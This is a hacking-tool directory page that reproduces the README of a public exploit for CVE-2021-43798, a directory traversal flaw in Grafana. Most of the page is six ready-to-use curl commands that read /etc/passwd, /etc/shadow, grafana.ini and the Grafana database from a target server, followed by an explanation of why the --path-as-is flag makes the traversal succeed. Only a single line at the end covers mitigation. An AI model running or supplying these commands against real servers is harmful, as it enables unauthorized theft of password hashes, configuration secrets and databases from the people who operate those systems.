Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/malekalthubiany/cve-2021-43798
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubmalekalthubiany/cve-2021-43798

CVE-2021-43798

Exploit for CVE-2021-43798, a Grafana directory traversal vulnerability, enabling unauthenticated arbitrary file reads via crafted curl commands.

View Repository
2 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Grafana CVE-2021-43798 Exploit

Overview

This repository demonstrates the exploitation of CVE-2021-43798, a directory traversal vulnerability in Grafana. This vulnerability allows attackers to read arbitrary files on the server.

CVE Details

  • CVE: CVE-2021-43798
  • Description: Directory traversal vulnerability in Grafana versions prior to 8.3.1.
  • Impact: Allows unauthenticated attackers to read arbitrary files on the server.

Prerequisites

  • A vulnerable version of Grafana running (before 8.3.1)
  • Access to the target Grafana instance

Exploitation

Using curl

To exploit the vulnerability manually, you can use one of the following curl commands to attempt to read sensitive files:

root@kitploit:~
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../Users/install.txt"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/passwd"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/grafana/grafana.ini"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../var/lib/grafana/grafana.db"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/hostname"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/shadow"

Why --path-as-is?

In the context of exploiting the Grafana CVE-2021-43798 directory traversal vulnerability, the --path-as-is option is essential because it allows the specially crafted traversal sequences (../../../../../) to be sent directly to the server without modification. This can lead to accessing sensitive files on the server that are outside the intended directory.

Without --path-as-is, curl might normalize the path to something like /public/plugins/Users/install.txt, which would not exploit the vulnerability. By using --path-as-is, the exact traversal sequence is preserved, allowing the exploit to succeed.

Documentation Reference

You can find more details about the --path-as-is option in the curl documentation. By understanding and utilizing --path-as-is, security professionals and researchers can effectively demonstrate and test for directory traversal vulnerabilities in web applications.

Mitigation

To mitigate this vulnerability, upgrade Grafana to version 8.3.1 or later.

Download Tool